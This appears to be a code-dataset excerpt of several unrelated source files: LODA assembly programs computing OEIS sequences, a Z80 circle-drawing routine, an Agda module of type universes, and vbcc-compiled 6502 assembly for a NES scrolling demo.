max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
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programs/oeis/001/A001954.asm | jmorken/loda | 1 | 15228 | ; A001954: Wythoff game.
; 1,5,8,11,15,18,22,25,29,32,35,39,42,46,49,52,56,59,63,66,69,73,76,80,83,87,90,93,97,100,104,107,110,114,117,121,124,128,131,134,138,141,145,148,151,155,158,162,165,169,172,175,179,182,186,189,192,196,199,203,206,209,213,216,220,223,227,230,233,237,240,244,247,250,254,257,261,264,268,271,274,278,281,285,288,291,295,298,302,305,308,312,315,319,322,326,329,332,336,339,343,346,349,353,356,360,363,367,370,373,377,380,384,387,390,394,397,401,404,407,411,414,418,421,425,428,431,435,438,442,445,448,452,455,459,462,466,469,472,476,479,483,486,489,493,496,500,503,507,510,513,517,520,524,527,530,534,537,541,544,547,551,554,558,561,565,568,571,575,578,582,585,588,592,595,599,602,606,609,612,616,619,623,626,629,633,636,640,643,646,650,653,657,660,664,667,670,674,677,681,684,687,691,694,698,701,705,708,711,715,718,722,725,728,732,735,739,742,746,749,752,756,759,763,766,769,773,776,780,783,786,790,793,797,800,804,807,810,814,817,821,824,827,831,834,838,841,845,848,851
mov $2,8
mov $4,$0
add $4,$0
add $4,1
mov $5,$0
mov $6,$0
mul $6,$0
lpb $2
add $0,$2
lpb $6
add $0,2
add $4,2
trn $6,$4
lpe
mov $2,1
lpe
add $0,5
mov $1,$0
sub $1,10
mov $3,$5
mul $3,5
add $1,$3
sub $1,3
div $1,2
add $1,1
|
oeis/131/A131913.asm | neoneye/loda-programs | 11 | 161623 | <reponame>neoneye/loda-programs
; A131913: Product of the square matrix in A065941 and the column vector (1, 2, 3,...)'.
; Submitted by <NAME>(s4)
; 1,3,6,13,25,48,89,163,294,525,929,1632,2849,4947,8550,14717,25241,43152,73561,125075,212166,359133,606721,1023168,1722625,2895843,4861254,8149933,13646809,22825200,38136089,63653827,106146534,176849517,294401825,489706272
mov $1,5
mov $3,$0
add $3,$0
add $1,$3
mov $2,$1
mov $4,$1
sub $4,3
mul $4,2
lpb $0
sub $0,1
add $4,$1
mov $1,$2
mov $2,$4
lpe
mov $0,$2
div $0,5
|
oeis/153/A153880.asm | neoneye/loda-programs | 11 | 174630 | ; A153880: Shift factorial base representation left by one digit.
; Submitted by <NAME>
; 0,2,6,8,12,14,24,26,30,32,36,38,48,50,54,56,60,62,72,74,78,80,84,86,120,122,126,128,132,134,144,146,150,152,156,158,168,170,174,176,180,182,192,194,198,200,204,206,240,242,246,248,252,254,264,266,270,272,276,278,288,290,294,296,300,302,312,314,318,320,324,326,360,362,366,368,372,374,384,386,390,392,396,398,408,410,414,416,420,422,432,434,438,440,444,446,480,482,486,488
mov $1,$0
mov $2,2
mov $3,1
lpb $0
div $0,$2
add $2,1
mov $4,$0
mul $4,$3
add $1,$4
mul $3,$2
lpe
mov $0,$1
mul $0,2
|
libsrc/graphics/dcircle2.asm | andydansby/z88dk-mk2 | 1 | 21482 | <reponame>andydansby/z88dk-mk2
; Z88 Small C+ Graphics Functions
; Draw a circle on the Z88 map
; Adapted from my Spectrum Routine
; (C) 1995-1998 D.J.Morris
;
; ZX81 version
; Non IY dependent (self modifying code)
; A' isn't used
;
; $Id: dcircle2.asm,v 1.4 2007/09/24 08:07:24 stefano Exp $
;
XLIB draw_circle
DEFVARS 0
{
x0 ds.b 1
y0 ds.b 1
radius ds.b 1
scale ds.b 1
cx ds.b 1
da ds.b 1
}
.asave defb 0
;ix points to table on stack (above)
;Entry:
; b=x0 c=y0, d=radius, e=scale factor
; ix=plot routine
.draw_circle
ld (plt+1),ix
ld ix,-6 ;create buffer on stack
add ix,sp
ld sp,ix
ld (ix+x0),b
ld (ix+y0),c
ld (ix+radius),d
ld (ix+scale),e ;step factor - usually 1
call l9900
ld hl,6
add hl,sp
ld sp,hl
ret
;Line 9900
.l9900
ld (ix+cx),0
srl d
ld (ix+da),d
;Line 9905
.l9905 ld a,(ix+cx)
cp (ix+radius)
ret nc
;Line 9910
ld a,(ix+da)
and a
jp p,l9915
add a,(ix+radius)
ld (ix+da),a
ld a,(ix+radius)
sub (ix+scale)
ld (ix+radius),a
;Line 9915
.l9915 ld a,(ix+da)
dec a
sub (ix+cx)
ld (ix+da),a
.l9920 ld a,(ix+y0)
add a,(ix+radius)
ld l,a
ld a,(asave)
push af
ld a,l
ld (asave),a
pop af
ld a,(ix+x0)
add a,(ix+cx)
ld h,a
call doplot
push af
ld a,(asave)
ld l,a
pop af
ld (asave),a
ld a,(ix+x0)
sub (ix+cx)
ld h,a
call doplot
ld a,(ix+y0)
sub (ix+radius)
ld l,a
ld a,(asave)
push af
ld a,l
ld (asave),a
pop af
ld a,(ix+x0)
add a,(ix+cx)
ld h,a
call doplot
push af
ld a,(asave)
ld l,a
pop af
ld (asave),a
ld a,(ix+x0)
sub (ix+cx)
ld h,a
call doplot
;Line 9925
ld a,(ix+y0)
add a,(ix+cx)
ld l,a
ld a,(asave)
push af
ld a,l
ld (asave),a
pop af
ld a,(ix+x0)
add a,(ix+radius)
ld h,a
call doplot
push af
ld a,(asave)
ld l,a
pop af
ld (asave),a
ld a,(ix+x0)
sub (ix+radius)
ld h,a
call doplot
ld a,(ix+y0)
sub (ix+cx)
ld l,a
ld a,(asave)
push af
ld a,l
ld (asave),a
pop af
ld a,(ix+x0)
add a,(ix+radius)
ld h,a
call doplot
push af
ld a,(asave)
ld l,a
pop af
ld (asave),a
ld a,(ix+x0)
sub (ix+radius)
ld h,a
call doplot
;Line 9930
ld a,(ix+cx)
add a,(ix+scale)
ld (ix+cx),a
jp l9905
;Entry to my plot is the same as for the z88 plot - very convenient!
.doplot
ret c
.plt jp 0
|
lib/Explore/TODO/Syntax.agda | crypto-agda/explore | 2 | 8161 | <gh_stars>1-10
{-# OPTIONS --without-K #-}
open import Type
open import Data.Bits using (Bits)
open import Data.Bit using (Bit)
open import Data.Zero using (𝟘)
open import Data.Fin using (Fin)
open import Data.Maybe using (Maybe)
open import Data.Nat using (ℕ)
open import Data.Product using (Σ; _×_)
open import Data.Sum using (_⊎_)
open import Data.One using (𝟙)
open import Data.Vec using (Vec)
module Explore.Syntax where
-- this is to be imported from the appropriate module
postulate
S : ★₀ → ★₀
S𝟙 : S 𝟙
SBit : S Bit
SFin : ∀ n → S (Fin n)
SBits : ∀ n → S (Bits n)
SVec : ∀ {A} → S A → ∀ n → S (Vec A n)
_S×_ : ∀ {A B} → S A → S B → S (A × B)
_S⊎_ : ∀ {A B} → S A → S B → S (A ⊎ B)
SMaybe : ∀ {A} → S A → S (Maybe A)
SΣ : ∀ {A} {B : A → _} → S A → (∀ x → S (B x)) → S (Σ A B)
S𝟙→ : ∀ {A} → S A → S (𝟙 → A)
SBit→ : ∀ {A} → S A → S (Bit → A)
S𝟘→ : ∀ A → S (𝟘 → A)
S×→ : ∀ {A B C} → S (A → B → C) → S (A × B → C)
S⟨_⊎_⟩→ : ∀ {A B C} → S (A → C) → S (B → C) → S (A ⊎ B → C)
module Fin-universe where
`★ : ★₀
`★ = ℕ
-- decoding
El : `★ → ★₀
El = Fin
`S : ∀ `A → S (El `A)
`S = SFin
module Bits-universe where
`★ : ★₀
`★ = ℕ
-- decoding
El : `★ → ★₀
El = Bits
`S : ∀ `A → S (El `A)
`S = SBits
module ⊎×-universe where
data `★ : ★₀ where
`𝟙 : `★
_`×_ _`⊎_ : `★ → `★ → `★
-- decoding
El : `★ → ★₀
El `𝟙 = 𝟙
El (s `× t) = El s × El t
El (s `⊎ t) = El s ⊎ El t
`S : ∀ `A → S (El `A)
`S `𝟙 = S𝟙
`S (s `× t) = `S s S× `S t
`S (s `⊎ t) = `S s S⊎ `S t
module 𝟙-Maybe-universe where
data `★ : ★₀ where
-- one element
`𝟙 : `★
-- one element more
`Maybe : `★ → `★
-- decoding
El : `★ → ★₀
El `𝟙 = 𝟙
El (`Maybe t) = Maybe (El t)
`S : ∀ `A → S (El `A)
`S `𝟙 = S𝟙
`S (`Maybe t) = SMaybe (`S t)
module ΣBit-universe where
data `★ : ★₀
El : `★ → ★₀
data `★ where
`Bit : `★
`Σ : (s : `★) → (El s → `★) → `★
-- decoding
El `Bit = Bit
El (`Σ s t) = Σ (El s) λ x → El (t x)
`S : ∀ `A → S (El `A)
`S `Bit = SBit
`S (`Σ s t) = SΣ (`S s) λ x → `S (t x)
module ⊎×→-universe where
-- Types appearing on the left of an arrow
data `★⁻ : ★₀ where
-- zero and elements
`𝟘 `𝟙 : `★⁻
-- products and co-products
_`×_ _`⊎_ : `★⁻ → `★⁻ → `★⁻
-- decoding of negative types
El⁻ : `★⁻ → ★₀
El⁻ `𝟘 = 𝟘
El⁻ `𝟙 = 𝟙
El⁻ (s `× t) = El⁻ s × El⁻ t
El⁻ (s `⊎ t) = El⁻ s ⊎ El⁻ t
`S⟨_⟩→_ : ∀ `A {B} (sB : S B) → S (El⁻ `A → B)
`S⟨ `𝟘 ⟩→ t = S𝟘→ _
`S⟨ `𝟙 ⟩→ t = S𝟙→ t
`S⟨ s `× t ⟩→ u = S×→ (`S⟨ s ⟩→ `S⟨ t ⟩→ u)
`S⟨ s `⊎ t ⟩→ u = S⟨ `S⟨ s ⟩→ u ⊎ `S⟨ t ⟩→ u ⟩→
data `★ : ★₀ where
-- one element
`𝟙 : `★
-- products and co-products
_`×_ _`⊎_ : `★ → `★ → `★
-- functions
_`→_ : `★⁻ → `★ → `★
-- decoding of positive types
El : `★ → ★₀
El `𝟙 = 𝟙
El (s `× t) = El s × El t
El (s `⊎ t) = El s ⊎ El t
El (s `→ t) = El⁻ s → El t
`S : ∀ `A → S (El `A)
`S `𝟙 = S𝟙
`S (s `× t) = `S s S× `S t
`S (s `⊎ t) = `S s S⊎ `S t
`S (s `→ t) = `S⟨ s ⟩→ `S t
module Σ⊎×→-universe where
-- Types appearing on the left of an arrow
data `★⁻ : ★₀ where
-- zero, one, and two elements
`𝟘 `𝟙 `Bit : `★⁻
-- products and co-products
_`×_ _`⊎_ : `★⁻ → `★⁻ → `★⁻
-- Σ?
-- decoding of negative types
El⁻ : `★⁻ → ★₀
El⁻ `𝟘 = 𝟘
El⁻ `𝟙 = 𝟙
El⁻ `Bit = Bit
El⁻ (s `× t) = El⁻ s × El⁻ t
El⁻ (s `⊎ t) = El⁻ s ⊎ El⁻ t
`S⟨_⟩→_ : ∀ `A {B} (sB : S B) → S (El⁻ `A → B)
`S⟨ `𝟘 ⟩→ t = S𝟘→ _
`S⟨ `𝟙 ⟩→ t = S𝟙→ t
`S⟨ `Bit ⟩→ t = SBit→ t
`S⟨ s `× t ⟩→ u = S×→ (`S⟨ s ⟩→ `S⟨ t ⟩→ u)
`S⟨ s `⊎ t ⟩→ u = S⟨ `S⟨ s ⟩→ u ⊎ `S⟨ t ⟩→ u ⟩→
data `★ : ★₀
El : `★ → ★₀
data `★ where
-- one and two elements
`𝟙 `Bit : `★
-- 'n' elements
`Fin : ℕ → `★
-- one element more
`Maybe : `★ → `★
-- products and co-products
_`×_ _`⊎_ : `★ → `★ → `★
-- dependent pairs
`Σ : (s : `★) → (El s → `★) → `★
-- vectors
`Vec : `★ → ℕ → `★
-- functions
_`→_ : `★⁻ → `★ → `★
-- decoding of positive types
El `𝟙 = 𝟙
El `Bit = Bit
El (`Fin n) = Fin n
El (`Maybe t) = Maybe (El t)
El (s `× t) = El s × El t
El (s `⊎ t) = El s ⊎ El t
El (`Σ s t) = Σ (El s) λ x → El (t x)
El (s `→ t) = El⁻ s → El t
El (`Vec t n) = Vec (El t) n
`Bits = `Vec `Bit
`S : ∀ `A → S (El `A)
`S `𝟙 = S𝟙
`S `Bit = SBit
`S (`Fin n) = SFin n
`S (`Maybe `A) = SMaybe (`S `A)
`S (`A `× `B) = `S `A S× `S `B
`S (`A `⊎ `B) = `S `A S⊎ `S `B
`S (`Σ `A `B) = SΣ (`S `A) λ x → `S (`B x)
`S (`Vec `A n) = SVec (`S `A) n
`S (`A `→ `B) = `S⟨ `A ⟩→ `S `B
|
resources/vbcc-r2b2/samples/lazynes/descend.asm | therealjacinto/6502-be-computer | 1 | 174212 | ;vcprmin=10000
section text
global _GetMapData
_GetMapData:
sec
lda sp
sbc #15
sta sp
bcs l47
dec sp+1
l47:
ldy #14
jsr ___rsave12
lda r1
sta r9
lda r0
sta r8
lda r2
cmp l15
beq l43
lda r2
sta l15
lda r2
and #1
sta r0
ldx #0
lda r0
cpx #0
bne l48
cmp #0
beq l19
l48:
ldx #16
jmp l28
l19:
ldx #0
inc l11
lda l11
cmp #24
bcc l22
lda #0
sta l11
l22:
inc l13
lda l13
cmp #20
bcc l24
lda #0
sta l13
l24:
inc l12
lda l12
cmp #28
bcc l26
lda #0
sta l12
l26:
inc l14
lda l14
cmp #30
bcc l28
lda #0
sta l14
l28:
lda #0
sta r0
lda #<(l9)
clc
adc l12
sta r10
lda #>(l9)
adc #0
sta r11
lda #<(l10)
clc
adc l14
sta r14
lda #>(l10)
adc #0
sta r15
lda r8
clc
adc #24
sta r26
lda r9
adc #0
sta r27
lda #<(l7)
clc
adc l11
sta r16
lda #>(l7)
adc #0
sta r17
lda r8
clc
adc #8
sta r24
lda r9
adc #0
sta r25
lda #<(l8)
clc
adc l13
sta r12
lda #>(l8)
adc #0
sta r13
lda r8
clc
adc #20
ldy #1
sta (sp),y
lda r9
adc #0
iny
sta (sp),y
lda r2
and #3
sta r31
ldx #0
sta r22
stx r23
lda r8
clc
adc #12
sta r20
lda r9
adc #0
sta r21
lda r8
clc
adc #12
sta r18
lda r9
adc #0
sta r19
lda #32
sta r4
lda #48
sta r1
lda r4
ldy #0
sta (sp),y
sta r6
l41:
lda #<(l5)
clc
ldy #0
adc (r10),y
sta r2
lda #>(l5)
adc #0
sta r3
txa
clc
adc (r2),y
clc
adc r0
ldy r0
sta (r8),y ;am(r0)
lda #<(l6)
clc
ldy #0
adc (r14),y
sta r2
lda #>(l6)
adc #0
sta r3
txa
clc
adc (r2),y
clc
adc r0
sta r31
lda #0
sta r5
lda r0
sta r4
lda r31
ldy r0
sta (r26),y ;am(r0)
lda r0
cmp #4
bcs l34
lda #<(l3)
clc
ldy #0
adc (r16),y
sta r2
lda #>(l3)
adc #0
sta r3
txa
clc
adc (r2),y
clc
adc r0
sta r31
lda r24
clc
adc r4
sta r2
lda r25
adc r5
sta r3
lda r31
sta (r2),y
lda #<(l4)
clc
adc (r12),y
sta r2
lda #>(l4)
adc #0
sta r3
txa
clc
adc (r2),y
clc
adc r0
sta r31
iny
lda (sp),y
clc
adc r4
sta r2
iny
lda (sp),y
adc r5
sta r3
lda r31
ldy #0
sta (r2),y
l34:
lda r23
bne l36
lda r22
bne l36
lda r20
clc
adc r4
sta r2
lda r21
adc r5
sta r3
lda r1
ldy #0
sta (r2),y
jmp l37
l36:
lda r6
ldy r0
sta (r18),y ;am(r0)
l37:
inc r0
inc r1
inc r6
lda r0
cmp #8
bcc l41
l43:
ldy #14
jsr ___rload12
clc
lda sp
adc #15
sta sp
bcc l49
inc sp+1
l49:
rts
; stacksize=0+??
section rodata
l3:
byte 64
byte 68
byte 96
byte 100
section rodata
l4:
byte 76
byte 72
byte 108
byte 104
section rodata
l5:
byte 128
byte 160
byte 192
byte 224
section rodata
l6:
byte 136
byte 168
byte 200
byte 232
section rodata
l7:
byte 0
byte 2
byte 1
byte 2
byte 3
byte 1
byte 3
byte 2
byte 0
byte 3
byte 2
byte 0
byte 1
byte 0
byte 1
byte 0
byte 3
byte 0
byte 1
byte 2
byte 0
byte 1
byte 0
byte 3
section rodata
l8:
byte 1
byte 2
byte 3
byte 2
byte 0
byte 1
byte 2
byte 0
byte 1
byte 2
byte 3
byte 0
byte 1
byte 3
byte 2
byte 0
byte 1
byte 2
byte 0
byte 3
section rodata
l9:
byte 0
byte 1
byte 2
byte 3
byte 3
byte 2
byte 0
byte 1
byte 1
byte 0
byte 0
byte 0
byte 2
byte 1
byte 1
byte 0
byte 0
byte 2
byte 3
byte 3
byte 2
byte 0
byte 0
byte 0
byte 2
byte 1
byte 2
byte 1
section rodata
l10:
byte 1
byte 0
byte 1
byte 2
byte 3
byte 2
byte 1
byte 0
byte 0
byte 0
byte 1
byte 2
byte 3
byte 3
byte 2
byte 1
byte 0
byte 0
byte 1
byte 0
byte 1
byte 0
byte 0
byte 0
byte 2
byte 3
byte 3
byte 2
byte 1
byte 0
section data
l11:
byte 0
section data
l12:
byte 0
section data
l13:
byte 0
section data
l14:
byte 0
section data
l15:
byte 255
;vcprmin=10000
section text
global _main
_main:
sec
lda sp
sbc #32
sta sp
bcs l247
dec sp+1
l247:
ldy #31
jsr ___rsave8
ldy #13
lda (sp),y
sta r23
dey
lda (sp),y
sta r22
ldy #14
lda (sp),y
sta r21
lda #0
ldy #3
sta (sp),y
dey
sta (sp),y
lda #1
jsr _lnSync
sta r31
and #128
sta r16
ldx #63
lda #0
sta r31
lda #8
sta r0
lda #>(_chrPal)
sta r3
lda #<(_chrPal)
sta r2
lda r31
jsr _lnPush
ldx #63
lda #17
sta r31
lda #3
sta r0
lda #>(1+_sprPal)
sta r3
lda #<(1+_sprPal)
sta r2
lda r31
jsr _lnPush
ldx #63
lda #21
sta r31
lda #3
sta r0
lda #>(5+_sprPal)
sta r3
lda #<(5+_sprPal)
sta r2
lda r31
jsr _lnPush
ldx #63
lda #25
sta r31
lda #3
sta r0
lda #>(9+_sprPal)
sta r3
lda #<(9+_sprPal)
sta r2
lda r31
jsr _lnPush
lda #>(_musicData)
sta r1
lda #<(_musicData)
sta r0
lda r16
jsr _ftInit
lda #0
sta r20
l201:
lda #0
sta r7
lda r20
sta r6
asl r6
rol r7
asl r6
rol r7
asl r6
rol r7
lda r6
clc
adc #192
pha
lda r7
adc #35
tax
pla
sta r31
lda #8
sta r0
lda #>(l52)
sta r3
lda #<(l52)
sta r2
lda r31
jsr _lnPush
inc r20
lda r20
cmp #8
bcc l201
l208:
lda #0
ldy #5
sta (sp),y
dey
sta (sp),y
lda #>(l61)
sta r17
lda #<(l61)
sta r16
dey
lda (sp),y
sta r19
dey
lda (sp),y
sta r18
lda r19
bne l64
lda r18
bne l64
lda #0
ldy #9
sta (sp),y
lda #16
dey
sta (sp),y
lda #0
ldy #11
sta (sp),y
lda #4
dey
sta (sp),y
lda #0
sta r22
sta r23
sta r21
ldy #16
sta (sp),y
dey
sta (sp),y
lda #255
ldy #17
sta (sp),y
lda #0
jsr _ftMusicPlay
l64:
ldy #2
lda (sp),y
sta r12
and #3
sta r31
ldx #0
sta r14
stx r15
txa
bne l66
lda r14
bne l66
lda r18
cmp #216
lda r19
sbc #9
bvc l248
eor #128
l248:
bmi l68
lda r23
cmp #30
bcc l79
lda #0
sta r23
jmp l79
l68:
lda r18
cmp #96
lda r19
sbc #9
bvc l249
eor #128
l249:
bpl l79
lda r18
cmp #64
lda r19
sbc #1
bvc l250
eor #128
l250:
bmi l75
lda r12
and #7
sta r31
ldx #0
sta r6
stx r7
txa
bne l251
lda r6
beq l72
l251:
l75:
lda r18
cmp #8
lda r19
sbc #2
bvc l252
eor #128
l252:
bmi l79
lda r15
bne l79
lda r14
bne l79
l72:
ldy #15
lda (sp),y
clc
adc #1
sta (sp),y
iny
lda (sp),y
adc #0
sta (sp),y
inc r21
lda r21
cmp #240
bcc l79
lda r21
sec
sbc #240
sta r21
l79:
lda r12
and #7
sta r31
ldx #0
sta r6
stx r7
txa
bne l83
lda r6
bne l83
ldy #10
lda (sp),y
clc
adc #1
sta (sp),y
iny
lda (sp),y
adc #0
sta (sp),y
sta r7
dey
lda (sp),y
sta r6
lda r7
cmp #0
bcc l83
bne l253
lda r6
cmp #16
bcc l83
beq l83
l253:
lda #0
ldy #11
sta (sp),y
lda #16
dey
sta (sp),y
l83:
ldy #11
lda (sp),y
sta r7
dey
lda (sp),y
sta r6
ldy #8
lda (sp),y
clc
adc r6
sta (sp),y
iny
lda (sp),y
adc r7
sta (sp),y
l66:
lda r23
cmp #30
bcs l85
lda r12
and #1
sta r31
ldx #0
sta r6
stx r7
txa
bne l214
lda r6
bne l214
ldx #1
lda r22
bne l89
lda r18
cmp #96
lda r19
sbc #9
bvc l254
eor #128
l254:
bpl l89
ldx #2
l89:
lda #0
sta r10
cpx #1
bcc l210
lda r23
ldy #20
sta (sp),y
lda r21
clc
ror
clc
ror
clc
ror
iny
sta (sp),y
lda r22
sta r31
asl
iny
sta (sp),y
l203:
lda r10
sta r31
ldy #20
lda (sp),y
sec
sbc r31
sta r8
lda r10
bne l96
lda r8
sta r31
lda #>(l62)
sta r1
lda #<(l62)
sta r0
lda r31
sta r2
lda r19
ldy #7
sta (sp),y
lda r18
dey
sta (sp),y
lda r17
ldy #1
sta (sp),y
lda r16
dey
sta (sp),y
lda r23
ldy #13
sta (sp),y
lda r22
dey
sta (sp),y
lda r21
ldy #14
sta (sp),y
lda r10
ldy #19
sta (sp),y
lda r8
ldy #23
sta (sp),y
txa
ldy #18
sta (sp),y
jsr _GetMapData
ldy #7
lda (sp),y
sta r19
dey
lda (sp),y
sta r18
ldy #1
lda (sp),y
sta r17
dey
lda (sp),y
sta r16
ldy #13
lda (sp),y
sta r23
dey
lda (sp),y
sta r22
ldy #14
lda (sp),y
sta r21
ldy #19
lda (sp),y
sta r10
ldy #23
lda (sp),y
sta r8
ldy #18
lda (sp),y
tax
l96:
lda r8
clc
ldy #21
adc (sp),y
sta r8
sec
sbc #30
bvc l255
eor #128
l255:
bmi l98
lda r8
sec
sbc #30
sta r8
l98:
lda r8
sec
sbc #0
bvc l256
eor #128
l256:
bmi l212
lda r8
sec
sbc #30
bvc l257
eor #128
l257:
bpl l212
stx r31
ldx #0
lda r8
bpl l258
dex
l258:
sta r6
stx r7
ldx r31
stx r30
ldx r7
lda r6
stx r31
asl
rol r31
asl
rol r31
asl
rol r31
asl
rol r31
asl
rol r31
ldx r31
sta r6
stx r7
ldx r30
lda r6
clc
adc #0
ldy #4
sta (sp),y
lda r7
adc #32
iny
sta (sp),y
stx r30
lda (sp),y
ldx #0
stx r31
sta r6
stx r7
ldx r30
lda r7
ora #0
sta r7
lda r6
ora #64
sta r6
ldy #0
sta (r16),y
inc r16
bne l259
inc r17
l259:
ldy #5
lda (sp),y
sta r7
dey
lda (sp),y
sta r6
lda #0
sta r7
lda r6
and #255
sta r6
ldy #0
sta (r16),y
inc r16
bne l260
inc r17
l260:
lda #32
sta (r16),y
inc r16
bne l261
inc r17
l261:
lda #0
sta r1
txa
ldy #18
sta (sp),y
lda r1
ldy #0
sta (sp),y
lda r10
beq l205
ldy #0
lda (sp),y
tax
l197:
lda 0+l62,x ;am(x)
ldy #0
sta (r16),y
inc r16
bne l262
inc r17
l262:
inx
cpx #32
bcc l197
ldy #18
lda (sp),y
tax
jmp l212
l205:
lda #0
sta r7
lda r1
sta r6
asl r6
rol r7
lda r6
clc
adc #<(l62)
sta r6
lda r7
adc #>(l62)
sta r7
lda r6
sta r30
lda r7
sta r31
lda #0
sta r7
ldy #0
lda (r30),y
sta r6
lda r7
cmp #128
ror r7
ror r6
lda r6
clc
adc #<(_fTab)
sta r6
lda r7
adc #>(_fTab)
sta r7
lda (r6),y
sta r3
lda r22
sec
sbc #0
bvc l263
eor #128
l263:
bpl l114
lda #0
sta r3
jmp l117
l114:
lda r3
beq l117
lda r3
clc
ldy #22
adc (sp),y
sta r3
l117:
lda r3
ldy #0
sta (r16),y
inc r16
bne l264
inc r17
l264:
lda r3
clc
adc #1
sta (r16),y
inc r16
bne l265
inc r17
l265:
inc r1
lda r1
cmp #16
bcc l205
l212:
inc r10
cpx r10
;
beq l266
bcs l203
l266:
l210:
lda r18
cmp #96
lda r19
sbc #9
bvc l267
eor #128
l267:
bpl l119
inc r22
lda r22
sec
sbc #3
bvc l268
eor #128
l268:
bmi l214
inc r23
lda #0
sta r22
jmp l214
l119:
dec r22
lda r22
sec
sbc #255
bvc l269
eor #128
l269:
bpl l124
inc r23
lda #2
sta r22
l124:
lda r23
cmp #30
bcc l214
lda #255
ldy #3
sta (sp),y
dey
sta (sp),y
jmp l214
l85:
lda r21
and #7
sta r31
ldx #0
sta r6
stx r7
txa
bne l214
lda r6
bne l214
ldy #17
lda (sp),y
cmp r21
beq l214
lda r18
cmp #216
lda r19
sbc #9
bvc l270
eor #128
l270:
bpl l214
lda r21
clc
ror
clc
ror
clc
ror
sta r11
lda r21
ldy #17
sta (sp),y
lda #0
sta r7
lda r11
sta r6
stx r30
ldx r7
lda r6
stx r31
asl
rol r31
asl
rol r31
asl
rol r31
asl
rol r31
asl
rol r31
ldx r31
sta r6
stx r7
ldx r30
lda r6
clc
adc #0
sta r6
lda r7
adc #32
sta r7
stx r30
lda r7
ldx #0
stx r31
sta r8
stx r9
ldx r30
lda r9
ora #0
sta r9
lda r8
ora #64
sta r8
lda #>(1+l61)
sta r17
lda #<(1+l61)
sta r16
lda r8
sta l61
lda #0
sta r7
lda r6
and #255
sta r6
ldy #0
sta (r16),y
lda #32
sta 2+l61
lda #>(3+l61)
sta r17
lda #<(3+l61)
sta r16
lda #0
sta r10
ldy #19
sta (sp),y
tax
l199:
lda #0
tay
sta (r16),y
inc r16
bne l271
inc r17
l271:
inx
cpx #32
bcc l199
lda r11
bne l137
lda #29
sta r11
jmp l138
l137:
dec r11
l138:
lda #0
sta r7
lda r11
sta r6
stx r30
ldx r7
lda r6
stx r31
asl
rol r31
asl
rol r31
asl
rol r31
asl
rol r31
asl
rol r31
ldx r31
sta r6
stx r7
ldx r30
lda r6
clc
adc #0
ldy #4
sta (sp),y
lda r7
adc #32
iny
sta (sp),y
stx r30
lda (sp),y
ldx #0
stx r31
sta r6
stx r7
ldx r30
lda r7
ora #0
sta r7
lda r6
ora #64
sta r6
ldy #0
sta (r16),y
inc r16
bne l272
inc r17
l272:
ldy #5
lda (sp),y
sta r7
dey
lda (sp),y
sta r6
lda #0
sta r7
lda r6
and #255
sta r6
ldy #0
sta (r16),y
inc r16
bne l273
inc r17
l273:
lda #32
sta (r16),y
inc r16
bne l274
inc r17
l274:
stx r30
ldy #16
lda (sp),y
tax
dey
lda (sp),y
stx r31
clc
ror r31
ror
clc
ror r31
ror
clc
ror r31
ror
ldx r31
sta r6
stx r7
ldx r30
lda r6
clc
adc #30
sta r6
bcc l275
inc r6+1
l275:
lda r6
sta r31
lda #>(l62)
sta r1
lda #<(l62)
sta r0
lda r31
sta r2
lda r17
ldy #1
sta (sp),y
lda r16
dey
sta (sp),y
lda r23
ldy #13
sta (sp),y
lda r22
dey
sta (sp),y
lda r21
ldy #14
sta (sp),y
jsr _GetMapData
ldy #1
lda (sp),y
sta r17
dey
lda (sp),y
sta r16
ldy #13
lda (sp),y
sta r23
dey
lda (sp),y
sta r22
ldy #14
lda (sp),y
sta r21
lda #0
sta r10
ldy #19
sta (sp),y
tax
l200:
lda 0+l62,x ;am(x)
ldy #0
sta (r16),y
inc r16
bne l276
inc r17
l276:
inx
cpx #32
bcc l200
l214:
ldy #5
lda (sp),y
bne l277
dey
lda (sp),y
beq l144
l277:
lda #255
ldy #0
sta (r16),y
ldx #>(l61)
lda #<(l61)
jsr _lnList
l144:
stx r30
ldy #9
lda (sp),y
tax
dey
lda (sp),y
stx r31
cpx #128
ror r31
ror
cpx #128
ror r31
ror
cpx #128
ror r31
ror
cpx #128
ror r31
ror
ldx r31
sta r6
stx r7
ldx r30
ldy #16
lda (sp),y
sta r5
dey
lda (sp),y
sta r4
lda r6
sec
sbc r4
sta r4
lda r7
sbc r5
sta r5
lda #>(_sprTab)
sta r1
lda #<(_sprTab)
sta r0
lda #0
sta r3
lda #96
sta r2
jsr _lnAddSpr
ldy #2
lda (sp),y
clc
adc #1
sta (sp),y
iny
lda (sp),y
adc #0
sta (sp),y
lda #0
sta r3
lda r21
sta r2
lda #0
sta r1
sta r0
jsr _lnScroll
lda #0
jsr _lnSync
jmp l208
sta r31
ldy #31
jsr ___rload8
clc
lda sp
adc #32
sta sp
bcc l278
inc sp+1
l278:
lda r31
rts
; stacksize=0+??
section rodata
l52:
byte 0
byte 0
byte 0
byte 85
byte 85
byte 0
byte 0
byte 0
section bss
l61:
reserve 71
section bss
l62:
reserve 32
global _fTab
section rodata
_fTab:
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 0
byte 8
byte 14
byte 14
byte 14
byte 14
byte 14
byte 14
byte 8
byte 8
byte 14
byte 14
byte 14
byte 14
byte 14
byte 14
byte 8
byte 8
byte 14
byte 8
byte 14
byte 14
byte 8
byte 14
byte 8
byte 8
byte 14
byte 8
byte 14
byte 14
byte 8
byte 14
byte 8
byte 0
byte 0
byte 2
byte 8
byte 8
byte 2
byte 0
byte 0
byte 0
byte 0
byte 0
byte 2
byte 2
byte 0
byte 0
byte 0
byte 0
byte 2
byte 8
byte 8
byte 8
byte 8
byte 2
byte 0
byte 0
byte 2
byte 2
byte 8
byte 8
byte 2
byte 2
byte 0
byte 2
byte 8
byte 8
byte 8
byte 8
byte 8
byte 8
byte 2
byte 2
byte 8
byte 8
byte 8
byte 8
byte 8
byte 8
byte 2
byte 8
byte 8
byte 8
byte 8
byte 8
byte 8
byte 8
byte 8
byte 8
byte 8
byte 8
byte 8
byte 8
byte 8
byte 8
byte 8
global _lnSync
global _lnPush
global _lnList
global _lnScroll
global _lnAddSpr
global _ftInit
global _ftMusicPlay
global _chrPal
global _sprPal
global _sprTab
global _musicData
zpage sp
zpage r0
zpage r1
zpage r2
zpage r3
